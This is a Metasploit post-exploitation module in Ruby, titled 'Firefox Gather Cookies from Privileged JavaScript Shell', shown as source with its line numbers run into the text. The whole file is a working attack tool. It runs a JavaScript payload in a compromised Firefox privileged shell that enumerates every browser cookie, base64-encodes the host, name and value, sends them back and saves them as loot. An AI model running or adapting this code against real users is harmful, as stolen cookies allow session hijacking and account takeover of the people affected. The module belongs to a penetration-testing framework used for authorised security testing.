Path: blob/master/modules/post/firefox/gather/cookies.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'json'67class MetasploitModule < Msf::Post8include Msf::Exploit::Remote::FirefoxPrivilegeEscalation910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Firefox Gather Cookies from Privileged JavaScript Shell',15'Description' => %q{16This module allows collection of cookies from a Firefox Privileged JavaScript Shell.17},18'License' => MSF_LICENSE,19'Author' => [ 'joev' ],20'DisclosureDate' => '2014-03-26',21'Notes' => {22'Stability' => [CRASH_SAFE],23'SideEffects' => [],24'Reliability' => []25}26)27)2829register_options([30OptInt.new('TIMEOUT', [true, 'Maximum time (seconds) to wait for a response', 90])31])32end3334def run35results = js_exec(js_payload)36if results.present?37begin38cookies = JSON.parse(results)39cookies.each do |entry|40entry.each_key { |k| entry[k] = Rex::Text.decode_base64(entry[k]) }41end4243file = store_loot('firefox.cookies.json', 'text/json', rhost, results)44print_good("Saved #{cookies.length} cookies to #{file}")45rescue JSON::ParserError46print_warning(results)47end48end49end5051def js_payload52%|53(function(send){54try {55var b64 = Components.utils.import("resource://gre/modules/Services.jsm").btoa;56var cookieManager = Components.classes["@mozilla.org/cookiemanager;1"]57.getService(Components.interfaces.nsICookieManager);58var cookies = [];59var iter = cookieManager.enumerator;60while (iter.hasMoreElements()){61var cookie = iter.getNext();62if (cookie instanceof Components.interfaces.nsICookie){63cookies.push({host:b64(cookie.host), name:b64(cookie.name), value:b64(cookie.value)})64}65}66send(JSON.stringify(cookies));67} catch (e) {68send(e);69}70})(this.send);71|.strip72end73end747576